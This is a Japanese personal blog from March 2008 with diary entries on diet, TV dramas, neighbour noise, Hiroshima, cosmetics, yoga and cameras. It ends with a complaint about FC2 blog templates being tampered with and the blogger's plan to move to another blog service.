明日からちょっと
2008年03月31日（月）
この休みは食生活において不摂生がすぎたので
（炭水化物しかとってない…）
明日からちょっと野菜スープでもとってデトックスしようとおもいます。
昨日ドラッグストアにいったから荷物多すぎて
スーパーに寄らなかったのが敗因。
今日は雨ふってひきこもだったし…ｗ
家にあるものですませたら
うどんやらパンやらになってしまいました。。
明日から野菜デーじゃ！
昨日知っとこの宿坊特集で
精進料理やってたから
チャレンジしてみたいのだけどーｗ
精進料理ってなんていうか地味なイメージやったけど
めちゃくちゃ彩り豊かで季節のお野菜使ってるから
すごくおいしいんだってｗ
あたしもつくってみたーいｗ
妙心寺東林院の住職がだしてる精進料理の本
妙心寺東林院って沙羅双樹の花が有名なんだって
宿坊なので宿泊もできまっす♪
あとはマツケンレシピが気になる（笑）
（炭水化物しかとってない…）
明日からちょっと野菜スープでもとってデトックスしようとおもいます。
昨日ドラッグストアにいったから荷物多すぎて
スーパーに寄らなかったのが敗因。
今日は雨ふってひきこもだったし…ｗ
家にあるものですませたら
うどんやらパンやらになってしまいました。。
明日から野菜デーじゃ！
昨日知っとこの宿坊特集で
精進料理やってたから
チャレンジしてみたいのだけどーｗ
精進料理ってなんていうか地味なイメージやったけど
めちゃくちゃ彩り豊かで季節のお野菜使ってるから
すごくおいしいんだってｗ
あたしもつくってみたーいｗ
妙心寺東林院の住職がだしてる精進料理の本
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宿坊なので宿泊もできまっす♪
あとはマツケンレシピが気になる（笑）
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ちりとてちん 最終回
2008年03月30日（日）
昨日ですが
ちりとてちん最終回でした
おかぁちゃんみたいになりたくないの！
って家飛び出した喜代美が
最後には
「おかぁちゃんみたいになりたい」
って思えたのが一番の成長でしたね〜
超ネガティブ思考で劣等感の塊のへたれな女の子だった喜代美
でもあたしからみたら
いい家族にめぐまれて
いい師匠にめぐまれて
兄弟子に囲まれて
寝床に来る人もみんないいひとで
たくさんのいい人に囲まれて
夢もかなえて
結婚もして
ほんっとにうらやましくて
喜代美みてたら
なにぶちぶち愚痴ばっかりいってんだ！
ちったぁ感謝せぇ…と何度もイライラしました（苦笑
でもあたしもやっぱり
どうしょうもないことで不安になったり勝手に落ち込んだり
愚痴愚痴文句いったりもするので
（以前よりはだいぶ直したつもり）
喜代美みたいな部分ってダレでももってるものだとおもうし
なんだかすごく共感がもてました
順ちゃんが怖い顔して喜代美に怒ってくれるので
ほんとにすっきりしましたよｗ
最終回まで順ちゃん説教してましたねｗ
自分も順ちゃんの言葉をきいたら
しっかりせにゃーと反省したりしてました。
今ある幸せは
ほんとにいろんな人に支えてもらったおかげなんだって
おかぁちゃんのおかげなんやって
最後にやっと気づいてよかったなぁっておもいました
あたしもおかぁちゃんにありがとうって言いたくなりました
いつも自分のことは後回しで
あたしや弟やお父さんのことばっかり
おかぁちゃんって立派な仕事なんだね〜
計算したら最終回はいつのまにかあたしの歳をこえてましたがな。
あれから○年後…とかでても
人物がかわらないから歳がよくわかりませんでしたがｗ
あたしもちょっとづつ
頑張って成長していこ
一日一日塗り重ねていこう
ほんとちりとてちんに出会えてよかったなぁと思いました
好評につき？ＧＷに総集編が放送されるらしいです
すごいたのしみですo(*^▽^*)o
DVDもでますｗ
ちりとてちん最終回でした
おかぁちゃんみたいになりたくないの！
って家飛び出した喜代美が
最後には
「おかぁちゃんみたいになりたい」
って思えたのが一番の成長でしたね〜
超ネガティブ思考で劣等感の塊のへたれな女の子だった喜代美
でもあたしからみたら
いい家族にめぐまれて
いい師匠にめぐまれて
兄弟子に囲まれて
寝床に来る人もみんないいひとで
たくさんのいい人に囲まれて
夢もかなえて
結婚もして
ほんっとにうらやましくて
喜代美みてたら
なにぶちぶち愚痴ばっかりいってんだ！
ちったぁ感謝せぇ…と何度もイライラしました（苦笑
でもあたしもやっぱり
どうしょうもないことで不安になったり勝手に落ち込んだり
愚痴愚痴文句いったりもするので
（以前よりはだいぶ直したつもり）
喜代美みたいな部分ってダレでももってるものだとおもうし
なんだかすごく共感がもてました
順ちゃんが怖い顔して喜代美に怒ってくれるので
ほんとにすっきりしましたよｗ
最終回まで順ちゃん説教してましたねｗ
自分も順ちゃんの言葉をきいたら
しっかりせにゃーと反省したりしてました。
今ある幸せは
ほんとにいろんな人に支えてもらったおかげなんだって
おかぁちゃんのおかげなんやって
最後にやっと気づいてよかったなぁっておもいました
あたしもおかぁちゃんにありがとうって言いたくなりました
いつも自分のことは後回しで
あたしや弟やお父さんのことばっかり
おかぁちゃんって立派な仕事なんだね〜
計算したら最終回はいつのまにかあたしの歳をこえてましたがな。
あれから○年後…とかでても
人物がかわらないから歳がよくわかりませんでしたがｗ
あたしもちょっとづつ
頑張って成長していこ
一日一日塗り重ねていこう
ほんとちりとてちんに出会えてよかったなぁと思いました
好評につき？ＧＷに総集編が放送されるらしいです
すごいたのしみですo(*^▽^*)o
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DVDもでますｗ
ミツカン 追いがつおつゆ
2008年03月30日（日）
これ１本あったらかなり使えるｗｗｗｗ
うどんのつゆにもなるし
和風ドレッシングにもなるし〜ｗ
ホントになにもないときは
うどんにかけるだけでぶっかけうどんに（笑
和風サラダうどんをつくるときも
マヨ＋追い鰹つゆ＋金のごまだれで
和風のごまダレドレッシングを作ってますｗ
すっごいおいしいですよ♪
なんでもつかえるので
最近はまってますｗ
ミツカンのHPのレシピもビックリするぐらい豊富ｗ
http://www3.mizkan.co.jp/sapari/menu/cook/search/index.asp
うち
酢もミツカンだし
金のごまだれもミツカンだし
追いがつおつゆもミツカンかｗ
しゃぶしゃぶのごまだれもミツカンだわｗｗ
とうとう
2008年03月30日（日）
昨日ギターがうるさいと書いたのだけど
今日も夜中1時まわってじゃかじゃかはじまりまして
昨日はよくわからなかったんだけどどうも何かのライブのDVDかCDかを大音量で鳴らしながら自らも歌っているようで
今日は客の歓声？までばっちりと聞こえるぐらいでしてιι(+_+)
ここはライブハウスかと…
これは一言言おうと
あたしも言うのはいやなんだけどさ
怒るわけじゃなくてお願いしにいくだけだから（*'へ'*）
とおもって勇気をだしてピンポンしてきましたが
でませんでした〜(ゴチになりますの羽鳥アナ風味
さすがに夜中のピンポンはあたしもでないわ〜（苦笑）
怖いもんね〜
でもわかってもらえたみたいで
音は止みました
せっかくのライブ気分を邪魔して申し訳ないけど…
これで寝れる！
耳栓してても低音は防げなかったのでホントよかったぁ！
でも神経が高ぶって眠れなく…（苦笑）
ストレッチしてねるます
あー引っ越したい〜！
今日も夜中1時まわってじゃかじゃかはじまりまして
昨日はよくわからなかったんだけどどうも何かのライブのDVDかCDかを大音量で鳴らしながら自らも歌っているようで
今日は客の歓声？までばっちりと聞こえるぐらいでしてιι(+_+)
ここはライブハウスかと…
これは一言言おうと
あたしも言うのはいやなんだけどさ
怒るわけじゃなくてお願いしにいくだけだから（*'へ'*）
とおもって勇気をだしてピンポンしてきましたが
でませんでした〜(ゴチになりますの羽鳥アナ風味
さすがに夜中のピンポンはあたしもでないわ〜（苦笑）
怖いもんね〜
でもわかってもらえたみたいで
音は止みました
せっかくのライブ気分を邪魔して申し訳ないけど…
これで寝れる！
耳栓してても低音は防げなかったのでホントよかったぁ！
でも神経が高ぶって眠れなく…（苦笑）
ストレッチしてねるます
あー引っ越したい〜！
普段歩かない道
2008年03月29日（土）
広島駅から紙屋町のほうへ歩くことはあんまりないので
今日は何年かぶりにとことこと歩きました
普段歩かない道を歩くのもいいもんですね〜
広島にはいっぱいキレイなとこがあるなぁと
あらためて思いました
川がたくさんあるし
それぞれの川に顔があるような気がします
水上タクシー
2008年03月29日（土）
広島川が多いし
全部の川がつながってるので
水上タクシーがどこでもつれてってくれるんですよ
こういう乗り場もありますし
雁木までいって水上タクシーみかけたら
「ヘイ！タクシー」でとまってくれたりもするらしいです
広島ならでわだよねぇｗ
白鳳堂
2008年03月29日（土）
化粧筆で有名な白鳳堂
IKKOさんのメイク筆も全部白鳳堂です
実は広島の会社って知ってました？
広島の熊野町は筆の産地なんです
なので化粧筆も全国的に有名
全国でも扱ってるおみせは少ないので
なかなか手に触れる機会はないけど
広島は地元なので
三越においてあるんです
トモちゃんがファンデ用の筆を買ったら凄いよかったといってたので
あたしもみにいきましたｗ
肌触りもとてもよくて長持ちするしいいものなのだけど
高いので躊躇してしまい
またきます＞＜
と、かわずにお店をあとにしたんですが
白鳳堂の店員さんがすごくいい人で
パンフレットもっていってくださいとか
何も買ってないのにもってた荷物袋にいれてくれたりとか
「気になったらまたみにいらしてくださいね」といってくださり
とても対応が良かったので
なんだかほしくなってしまいました（笑）
白鳳堂さん
また必ず買いに行きます！
無印 箸たて
2008年03月29日（土）
うちのステンレスの水きり棚があるんですが
附属の箸たての柵？の目が粗くて（わかる？）
ちょっと斜めに立てたりするとお箸やらスプーンやらが
そこからぽろぽろ落ちて
また洗わないといけないとかいうことがしょっちゅうありまして。
いい加減「イッラ〜」となったので（謎
無印で箸たてだけ買いました
ほんとは無印の水切りカゴにセットするものなんだけど
うちの水切り棚にぴったりでございましたｗ
底もパンチンぐで水がきれるのでうれしいです
前のはそこは穴あいてなかったので
木の箸とかきをつけないとずっと水が切れずにカビが生えたりとか（´Д｀；）
やっぱ安物はなんかあるわな。。。
だって無印の箸立ての値段だけで
ステンレスの棚買えたんだもんにゃ。
ステンレス箸立て・大／８×１０．５×１０ｃｍ
限定ICOCA発売日
2008年03月29日（土）
今日はSuica・ICOCA・Toica相互利用開始記念限定ICOCAの発売日ってことで
売り切れたらやだ！とおもって気合い入れて販売開始時間にきたけど
誰もいなくてひょうしぬけ（笑）
とりあえず無事ゲット(*ノノ)
さて
まだ9時半なわけだけど
どうしよかな…
ひぃ
2008年03月29日（土）
両隣いないから静かで快適〜
と思ったら
上の部屋でギターひいてますιι(+_+)
深夜は勘弁してくれ〜ιι(+_+)
やぱ学生多いとこだめやな〜
愚痴ってもしょうがないけど〜(T0T)
耳栓して寝ます（涙）
宝くじ当たったら引っ越したい(ノ_<。)
と思ったら
上の部屋でギターひいてますιι(+_+)
深夜は勘弁してくれ〜ιι(+_+)
やぱ学生多いとこだめやな〜
愚痴ってもしょうがないけど〜(T0T)
耳栓して寝ます（涙）
宝くじ当たったら引っ越したい(ノ_<。)
出会って３週間
2008年03月28日（金）
＜森三中＞村上知子、結婚報告 出会いから３週間の超スピード婚明かす（毎日新聞） - Yahoo!ニュース
いやああｗ
ドリームプレス社みてましたｗ
出会って３週間で結婚とか凄いわ＠ｗ＠
でも結婚ってタイミングだと思う
そこにはパワーも勢いも必要だしね
はやいなオイ！とおもったけど
つきあうときって
ずーっとこのひとと一緒にいたいなと思って付き合うわけだからさ
ずーっと一緒にいるならいつ結婚したって同じだとおもうんだわ。
そんなかんたんなもんでもないのかもしれないけど
基本は簡単なことだとおもうのね
色々考えすぎたら結婚とかできんわ。
結婚って通過点だから其処からお互いまた努力しないといけないのは
長いこと付き合って結婚してもすぐ結婚しても同じことだとおもうしね
やっとご飯をつくってあげる人ができた
どんだけひとりでご飯たべたんだろう
って村上がいってたときにちょっと共感しちまいました
ひとりのご飯は本当にまずいしさみしいもん（涙
プラグインのキャノンのカメラつついたら
同じカメラ貼ってる人のサイトにランダムに飛べるんだけど
たまったまつついてとんだ先の人も
3/6にJリーガーと結婚しましたとかで（あたしは存ぜぬ人でした）
ブログちょっと読んでたらこの間卒業したばっかりで
即入籍とか＠＠
あっちもこっちもおめでとうでしたｗ
今日はなんだか幸せにやられっぱなしでした（笑
やーびっくりしたなぁ…
あとは黒澤さんですね（＠´＿｀）ｂ
女性お笑いトリオの「森三中」の村上知子さん（２８）が２８日、バラエティー番組「ドリームプレス社」（ＴＢＳ系）の生放送で結婚会見を開き、お相手が２歳年上の３０歳、アパレル関係の会社員で、３月初めに出会い、１週間でプロポーズされた超スピード婚だったことを明らかにした。「２８年間初めて付き合った男性。本当に幸せ」と喜びを語った。
いやああｗ
ドリームプレス社みてましたｗ
出会って３週間で結婚とか凄いわ＠ｗ＠
でも結婚ってタイミングだと思う
そこにはパワーも勢いも必要だしね
はやいなオイ！とおもったけど
つきあうときって
ずーっとこのひとと一緒にいたいなと思って付き合うわけだからさ
ずーっと一緒にいるならいつ結婚したって同じだとおもうんだわ。
そんなかんたんなもんでもないのかもしれないけど
基本は簡単なことだとおもうのね
色々考えすぎたら結婚とかできんわ。
結婚って通過点だから其処からお互いまた努力しないといけないのは
長いこと付き合って結婚してもすぐ結婚しても同じことだとおもうしね
やっとご飯をつくってあげる人ができた
どんだけひとりでご飯たべたんだろう
って村上がいってたときにちょっと共感しちまいました
ひとりのご飯は本当にまずいしさみしいもん（涙
プラグインのキャノンのカメラつついたら
同じカメラ貼ってる人のサイトにランダムに飛べるんだけど
たまったまつついてとんだ先の人も
3/6にJリーガーと結婚しましたとかで（あたしは存ぜぬ人でした）
ブログちょっと読んでたらこの間卒業したばっかりで
即入籍とか＠＠
あっちもこっちもおめでとうでしたｗ
今日はなんだか幸せにやられっぱなしでした（笑
やーびっくりしたなぁ…
あとは黒澤さんですね（＠´＿｀）ｂ
タイタニック
2008年03月28日（金）
今日タイタニックですね！
あたし学生のころ映画館に見に行って
すごいはまっちゃったんですよｗ
これレオｻﾏ関連グッズ（笑
まだもってたｗ
当時はロードショウとかハリウッド映画関連雑誌も買ってたから
やたら詳しくなりましたよｗｗｗ
もっとたくさんあったけど
残ってるのはこれだけ
よくのこってるほうですよねｗ
CDもｗ
セリーヌディオンもはまってよくききましたｗ
タイタニックは永遠の浪漫だわぁ
あんなふうに愛し愛されたいなっていう
究極の形ですね
でも最後ふたりとも生きててほしかったなって今でも思います。
しかしタイタニック見れば見るほど
キャル（ローズの婚約者）は嫌な男ではなくて
ホントにローズのことが好きだったんだけど
どうやって愛したらいいか愛し方がよくわからなかった男なんだなとおもいます。。。
婚約してるのにアレだけ他の男のことがいいとかいって
男としたらコケにされたわけだから
アレだけ怒り狂うのもなんか解る気もする…
そんなあたしは変なんでしょうかね。
今日は久々にみるぞーｗ
前後編にわけてほしくないのだけど。。
んーdvdかおうかしらｗ
あたし学生のころ映画館に見に行って
すごいはまっちゃったんですよｗ
これレオｻﾏ関連グッズ（笑
まだもってたｗ
当時はロードショウとかハリウッド映画関連雑誌も買ってたから
やたら詳しくなりましたよｗｗｗ
もっとたくさんあったけど
残ってるのはこれだけ
よくのこってるほうですよねｗ
CDもｗ
セリーヌディオンもはまってよくききましたｗ
タイタニックは永遠の浪漫だわぁ
あんなふうに愛し愛されたいなっていう
究極の形ですね
でも最後ふたりとも生きててほしかったなって今でも思います。
しかしタイタニック見れば見るほど
キャル（ローズの婚約者）は嫌な男ではなくて
ホントにローズのことが好きだったんだけど
どうやって愛したらいいか愛し方がよくわからなかった男なんだなとおもいます。。。
婚約してるのにアレだけ他の男のことがいいとかいって
男としたらコケにされたわけだから
アレだけ怒り狂うのもなんか解る気もする…
そんなあたしは変なんでしょうかね。
今日は久々にみるぞーｗ
前後編にわけてほしくないのだけど。。
んーdvdかおうかしらｗ
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Nikon×PORTER
2008年03月28日（金）
Nikonにまた戻るかもな気分で
Nikonのサイトをチェックしてたら
ニコンダイレクト限定で
Nikon×PORTER
のバックやカメラケースなんかだしてるんですね
しらんかったー
一眼レフほしいけど持ち運ぶかばんがダサくていや
とおもってたけど
PORTERならいいじゃんってかんじｗ
結構かわいいです
色々見すぎたらほしくなる。
やばいやばい。。
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しらんかったー
一眼レフほしいけど持ち運ぶかばんがダサくていや
とおもってたけど
PORTERならいいじゃんってかんじｗ
結構かわいいです
色々見すぎたらほしくなる。
やばいやばい。。
楽天ポイントで米
2008年03月28日（金）
３月末までで消える楽天ポイントが
358ポイントあったので
今回はこれにしました
【全国送料無料】ふっくら美味しい【食味ランキング最高位★特Ａ】
岩手県南【江刺産】ひとめぼれ★【お試し３００ｇパック】
340円（送料込）
玄米と精米を選ぶようになってるので気をつけてくださいね
450円バージョンもありますよ(・ω・)
しかも朝注文してもう発送していただけたようです♪
どうせ消えて無くなるポイントだったから米にかわってうれしいですヾ(´ー｀)ノ
358ポイントあったので
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しかも朝注文してもう発送していただけたようです♪
どうせ消えて無くなるポイントだったから米にかわってうれしいですヾ(´ー｀)ノ
第465回「あなたがしてあげた、してもらったサプライズ！」
2008年03月28日（金）
こんにちは！トラックバック担当本田です。
今日のテーマは「あなたがしてあげた、してもらったサプライズ！」です。
本田はサプライズがとっても大好きです！
驚きと喜びが同時に沸いてきて、喜びが倍増し、
心に残ると思いませんか？
最近はレストランのサービスで突然お誕生日の曲を
流してケーキを出してくださったりするところもありますね。
友達のお誕生日などによく利用をします。
本...
第465回「あなたがしてあげた、してもらったサプライズ！」
サプライズって嬉しいものですよね♪
びっくりと感動といろいろありますけど
とにかく自分のために色々策をめぐらせてくれた
というのがとてもうれしいですよね
あんまされたことはないけど
やっぱりサプライズがあると一生忘れませんね♪
カレと付き合うことになったことが
最近のビッグサプライズです
あたしは結構仕掛けるほうなのですが
あたしの考えるサプライズって
バレバレな事が多く
去年はバレンタインケーキを作って冷蔵庫にかくしたものの
部屋がチョコレート臭く
オーブンレンジの汚れをとるのを忘れ
冷蔵庫あけようとしたところ「あけちゃだめー！」と言ってしまい
完全にバレバレ((((゜Д゜; ≡ ;゜Д゜))))
まぁ遠くにいるとなかなかサプライズも仕掛けられません。
トラバ先の本田さんのように
キャラ弁でもつくってみようかしら
そもそもカレがサプライズ好きかどうかもしらないので
あたしのヒトリヨガリでおわってしまったら
悲しい話になってしまいますね(;゜;∀;゜;）
母上の誕生日はサプライズで
お店の人に花束とケーキを用意してもらって
バースデーソングとともにもってきてもらったので
こんなにしてもらったことないからうれしいって泣かせてしまいましたよ
あんなによろこんで貰えると
サプライズした甲斐があるから
またなんかやろうとおもってしまうんですよねｗ
ヨガをはじめてまる２年
2008年03月28日（金）
2006年の4月からかよいはじめたアクティブヨーガ
早いモノでもう２年になりました
２年で休んだのは１回だけ。
会社の行事で…
それ以外は台風の日でさえ休まずにいきました（笑
台風の日なんか
先生いれて３人でしたが…
最初は美容と健康のためにはじめたヨガでしたけど
今は先生や周りの人とも友達になり
週に１回おしゃべりしに行くのもとてもたのしいです
もちろんアクティブヨーガ自体も大好きで
ヨガだけは一生つづけていきたいなぁと思うぐらい
好きになってしまいました
確実に脂肪が燃えてるのが分かるし
何より体のラインが変わったのが自分でも実感できるぐらいなので
続けてこれたんだとおもいます。
ウェストが開始当時より7センチへって
キープできてるのはヨガのおかげだとおもう♪
代謝もよくなって食事制限しなくても太らないし♪
ヨガをやったあとは体が軽くなってたり
まぁ次の日筋肉痛になったりしますけど
これも運動した証拠とおもえば苦痛じゃないです
あとヨガの時間は自分の心と体と対話をする時間なので
自己を見つめなおして心と体の調和をはかることができます
イライラしてたことがまぁいいやっておもえるようになったり
変に不安に襲われたりしても自分で持ちなおせるようになったのは
ヨガのおかげかもしれません
日本の禅に通じるものがあります
忙しいとそういう時間もなかなかとれないですが
週に１時間でも自分とむき会う時間が持てるのは
とてもいいことだなぁとおもいます。
４月からは気分を一新してウェアをそろえたいです
２年もやってて未だにTシャツにジャージだったものですから。。。
ヨガマットだけは買ったけどね。
おうちでもちまちまやってますが
きつかったらすぐ休んでしまうので
DSのどこでもヨガを買おうとおもうのですよ(*/∇＼*)
CanCamモデルさんがどこでもピラティスをやってるってかいてたので
どこでもヨガもあるんじゃないかとおもったら
あったし！
色んなモードがあるみたいだから
家でも楽しく出来そう！
DVDと違って毎日違うコースもできるみたいだし♪
ヨガがよかったらピラティスも買おう('-'*)フフ
これからもヨガは続けます♪
女性ホルモンの分泌を促すから
女性らしい体つきになるみたい(*/∇＼*)
早いモノでもう２年になりました
２年で休んだのは１回だけ。
会社の行事で…
それ以外は台風の日でさえ休まずにいきました（笑
台風の日なんか
先生いれて３人でしたが…
最初は美容と健康のためにはじめたヨガでしたけど
今は先生や周りの人とも友達になり
週に１回おしゃべりしに行くのもとてもたのしいです
もちろんアクティブヨーガ自体も大好きで
ヨガだけは一生つづけていきたいなぁと思うぐらい
好きになってしまいました
確実に脂肪が燃えてるのが分かるし
何より体のラインが変わったのが自分でも実感できるぐらいなので
続けてこれたんだとおもいます。
ウェストが開始当時より7センチへって
キープできてるのはヨガのおかげだとおもう♪
代謝もよくなって食事制限しなくても太らないし♪
ヨガをやったあとは体が軽くなってたり
まぁ次の日筋肉痛になったりしますけど
これも運動した証拠とおもえば苦痛じゃないです
あとヨガの時間は自分の心と体と対話をする時間なので
自己を見つめなおして心と体の調和をはかることができます
イライラしてたことがまぁいいやっておもえるようになったり
変に不安に襲われたりしても自分で持ちなおせるようになったのは
ヨガのおかげかもしれません
日本の禅に通じるものがあります
忙しいとそういう時間もなかなかとれないですが
週に１時間でも自分とむき会う時間が持てるのは
とてもいいことだなぁとおもいます。
４月からは気分を一新してウェアをそろえたいです
２年もやってて未だにTシャツにジャージだったものですから。。。
ヨガマットだけは買ったけどね。
おうちでもちまちまやってますが
きつかったらすぐ休んでしまうので
DSのどこでもヨガを買おうとおもうのですよ(*/∇＼*)
CanCamモデルさんがどこでもピラティスをやってるってかいてたので
どこでもヨガもあるんじゃないかとおもったら
あったし！
色んなモードがあるみたいだから
家でも楽しく出来そう！
DVDと違って毎日違うコースもできるみたいだし♪
ヨガがよかったらピラティスも買おう('-'*)フフ
これからもヨガは続けます♪
女性ホルモンの分泌を促すから
女性らしい体つきになるみたい(*/∇＼*)
広角レンズ
2008年03月28日（金）
LumixのFX-35がほしくなってるりりです
Amazon結構安((((゜Д゜; ≡ ;゜Д゜))))
レビューみたら大絶賛なんですよね
今の機種でも用途は主にブログにアップするだけで
プリントしないので（したとしてもL判）
画質は申し分ないんですが
広角レンズのものがほしい
とおもってたんです。
でも広角レンズのものって
普段使いにどうなんでしょうか…
このみなのかしら。
テレビでCM見た感じは
広角＝広い範囲が写る
ぐらいにしかおもってませんでした。
狭い部屋で被写体とキョリがとれなくても広い範囲が写せるみたいな…
でも広角レンズって
近い物はより近く
遠いものはより遠くに写るレンズなのですね
奥行きのある写真がとれるというか。。
広角と望遠の特徴
という記事をみてちょっとだけ理解。
一概に「広角が良い！」ってわけでもなさそうな印象をうけました。
良し悪しだなぁともおもうんだけど
レンズの変えられないコンデジで
一台でオールマイティに持ち歩く機種としてどうなのかしら＠ｗ＠
あたしのようなそんなカメラに詳しくない一般人には
たいしてよくわからん違いなのかしら（汗
レビューの作例みても広くとれてるなぁぐらいしかよくわかりませんでした（汗
でも世の中広角のコンデジばっかりですよね今、、
広角レンズFANのかたもいらっしゃるようだし
いいんですかね…
もっと
メリット、デメリット、用途（こういう撮影に向く、向かないなど）なんかを簡単にまとめてあるサイトないかなぁ…
素人にも分かるように(´・ω・`)
でも今のは標準レンズなので
広角レンズのカメラに興味がありますｗ
次の機種がでる半年後ぐらいに
今のFX35を検討しようかしら(´▽｀)
広角なだけでなく
立ち上がりの早さとか暗部補正だとか色々機能が搭載されてるようなので
いまよりもっとキレイな写真がとれそう
でも1,100万画素もはいらないんだけど…
写真一枚の大きさが12Mぐらいとかどんだけ〜。
ブログにアップできるのは500kまでなのでどれだけ縮小しないといけないのか…。
今の機種600万画素だけど
フルスペックで撮影することほとんどないし。。。
（夜景撮影ぐらいです）
普段は300万画素レベルで枚数と画質を両立できる感じで撮影しとります。
今の機種がこわれたわけじゃないのに
新しいデジカメほしいとか贅沢かな。。。
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Amazon結構安((((゜Д゜; ≡ ;゜Д゜))))
レビューみたら大絶賛なんですよね
今の機種でも用途は主にブログにアップするだけで
プリントしないので（したとしてもL判）
画質は申し分ないんですが
広角レンズのものがほしい
とおもってたんです。
でも広角レンズのものって
普段使いにどうなんでしょうか…
このみなのかしら。
テレビでCM見た感じは
広角＝広い範囲が写る
ぐらいにしかおもってませんでした。
狭い部屋で被写体とキョリがとれなくても広い範囲が写せるみたいな…
でも広角レンズって
近い物はより近く
遠いものはより遠くに写るレンズなのですね
奥行きのある写真がとれるというか。。
広角と望遠の特徴
という記事をみてちょっとだけ理解。
一概に「広角が良い！」ってわけでもなさそうな印象をうけました。
良し悪しだなぁともおもうんだけど
レンズの変えられないコンデジで
一台でオールマイティに持ち歩く機種としてどうなのかしら＠ｗ＠
あたしのようなそんなカメラに詳しくない一般人には
たいしてよくわからん違いなのかしら（汗
レビューの作例みても広くとれてるなぁぐらいしかよくわかりませんでした（汗
でも世の中広角のコンデジばっかりですよね今、、
広角レンズFANのかたもいらっしゃるようだし
いいんですかね…
もっと
メリット、デメリット、用途（こういう撮影に向く、向かないなど）なんかを簡単にまとめてあるサイトないかなぁ…
素人にも分かるように(´・ω・`)
でも今のは標準レンズなので
広角レンズのカメラに興味がありますｗ
次の機種がでる半年後ぐらいに
今のFX35を検討しようかしら(´▽｀)
広角なだけでなく
立ち上がりの早さとか暗部補正だとか色々機能が搭載されてるようなので
いまよりもっとキレイな写真がとれそう
でも1,100万画素もはいらないんだけど…
写真一枚の大きさが12Mぐらいとかどんだけ〜。
ブログにアップできるのは500kまでなのでどれだけ縮小しないといけないのか…。
今の機種600万画素だけど
フルスペックで撮影することほとんどないし。。。
（夜景撮影ぐらいです）
普段は300万画素レベルで枚数と画質を両立できる感じで撮影しとります。
今の機種がこわれたわけじゃないのに
新しいデジカメほしいとか贅沢かな。。。
京都行きたいのぉ…
2008年03月28日（金）
桜の季節の京都
一度でいいからいってみたいなぁ…
この時期になると京都の桜特集が心を揺さぶります。
Yahoo!のお花見特集にも特集記事がのってて
写真みてるだけでため息が…
いいカメラもほしかったりもするし
どこかお出かけしたかったりもするし。
お金足りないなぁ…。
今年は近所をなるべく自分の足でまわって写真とってきたいとおもいます。
広島は開花宣言のあと気温が下がって
満開まではまだまだかかりそうです。
来週末あたりがいいかな〜
来週末仕事か(´・ω・`)
一度でいいからいってみたいなぁ…
この時期になると京都の桜特集が心を揺さぶります。
Yahoo!のお花見特集にも特集記事がのってて
写真みてるだけでため息が…
いいカメラもほしかったりもするし
どこかお出かけしたかったりもするし。
お金足りないなぁ…。
今年は近所をなるべく自分の足でまわって写真とってきたいとおもいます。
広島は開花宣言のあと気温が下がって
満開まではまだまだかかりそうです。
来週末あたりがいいかな〜
来週末仕事か(´・ω・`)
細かすぎて伝わらないモノマネ選手権12
2008年03月28日（金）
昨日の細かすぎて伝わらないモノマネ選手権
もう爆笑でしたよｗｗｗｗｗ
いやーやっぱいいですね
大好きですｗｗｗｗ
はずれがないのがすごいんです＞＜
今回もアップダウン阿部浩貴くんの
「いらっしゃいませ」が「ラッシュアワー３」に聞こえる赤堤通り沿いのガソリンスタンドの店員
「いらっしゃいませ」が「うるさい店」に聞こえるお台場海浜公園駅前の「笑笑」の店員
には大爆笑ｗｗｗ
前回経堂駅前のコンビニはパニックになりフジテレビに電話があったそうです（苦笑
お店へのお問い合わせは御遠慮くださいってテロップが（笑
360゜モンキーズ 杉浦双亮さん
博多華丸の川平慈英
優香のモノマネするひと（名前がわがらん。。
織田祐二のものまねするひと
あたりが大好きなんですが
いや…選べない…＞＜
今回は「厳しい訓練を精神力で耐え抜く韓国の軍隊」
ｗｗｗｗｗｗｗｗｗｗｗ
これワラタｗｗｗｗｗｗｗｗ
いやーｗｗｗ
今回レベル高かったですね＠ｗ＠
爆笑しっぱなしでしたｗｗｗ
もう爆笑でしたよｗｗｗｗｗ
いやーやっぱいいですね
大好きですｗｗｗｗ
はずれがないのがすごいんです＞＜
今回もアップダウン阿部浩貴くんの
「いらっしゃいませ」が「ラッシュアワー３」に聞こえる赤堤通り沿いのガソリンスタンドの店員
「いらっしゃいませ」が「うるさい店」に聞こえるお台場海浜公園駅前の「笑笑」の店員
には大爆笑ｗｗｗ
前回経堂駅前のコンビニはパニックになりフジテレビに電話があったそうです（苦笑
お店へのお問い合わせは御遠慮くださいってテロップが（笑
360゜モンキーズ 杉浦双亮さん
博多華丸の川平慈英
優香のモノマネするひと（名前がわがらん。。
織田祐二のものまねするひと
あたりが大好きなんですが
いや…選べない…＞＜
今回は「厳しい訓練を精神力で耐え抜く韓国の軍隊」
ｗｗｗｗｗｗｗｗｗｗｗ
これワラタｗｗｗｗｗｗｗｗ
いやーｗｗｗ
今回レベル高かったですね＠ｗ＠
爆笑しっぱなしでしたｗｗｗ
ネックは画像
2008年03月27日（木）
FC2からテンプレート改ざんについては何もアナウンスない…
あくまで個人レベルの責任ってことなのかな。。
注意喚起ぐらいはしてほしいものだ。
だってオンラインゲームやってない人のブログだって改ざんされてる恐れあるんだもの。
とりあえず移住できるかどうかSeeSaaブログでためしてるんですが
FC2のバックアップツールでバックアップしたデータはカテゴリも追記も
苦もなくアップできたんですが
FC2独自の絵文字とかコメント方式は多少変更しないとだめくさい
へんなフラグがそのままでてしまうので…
まぁ一括置換でいけそうな感じではあるけど…
やっぱネックは画像です
Livedoor時代のは外部リンク可能なので
Livedoorにおいたままの画像にリンクしてOKなんですがー。
FC2のはやっぱ外部リンク不可で「×」になってしまいます。
（FireFoxでみたら見れるんだけどね＠ｗ＠）
まぁ手動で画像アップしなおし＆MTファイル（約２年分）の画像パス置換せねばなのですが。
５０００枚近く画像があるのでだるすぎて…。
ダウンロードはGetHTMLでなんとかやってるんですが
アップロードが。。。＿|￣|○。。
FTPみたいに一気にアップロードできればいいんですが。。
別にFC2がちゃんとウィルス対策してくれれば
ここにいたいですよ(´・ω・`)
でも毎日改ざんされてないかテンプレのチェックしたり
FC2はパソコンじゃ怖くてみれん！
なんて話でたりで
あたしがホサレタような気分になるのさ（´д｀：）
もし画像がアップできるようなソフトあったらおしえてください(´・ω・`)
一応FC2Uploadってのを見つけてつかってみたんだけど
なんかうまくいかない…。
ライブドアブログにもどって有料コースにすればFTPつかえるのか…
でも戻りたくないワナ。
過去ログはもうええわって諦められたら
別にどこでもいいんですがのぉｗ
今回の件で移住する人多そうだ。。
既に移住してる人もちらほら＠ｗ＠
あくまで個人レベルの責任ってことなのかな。。
注意喚起ぐらいはしてほしいものだ。
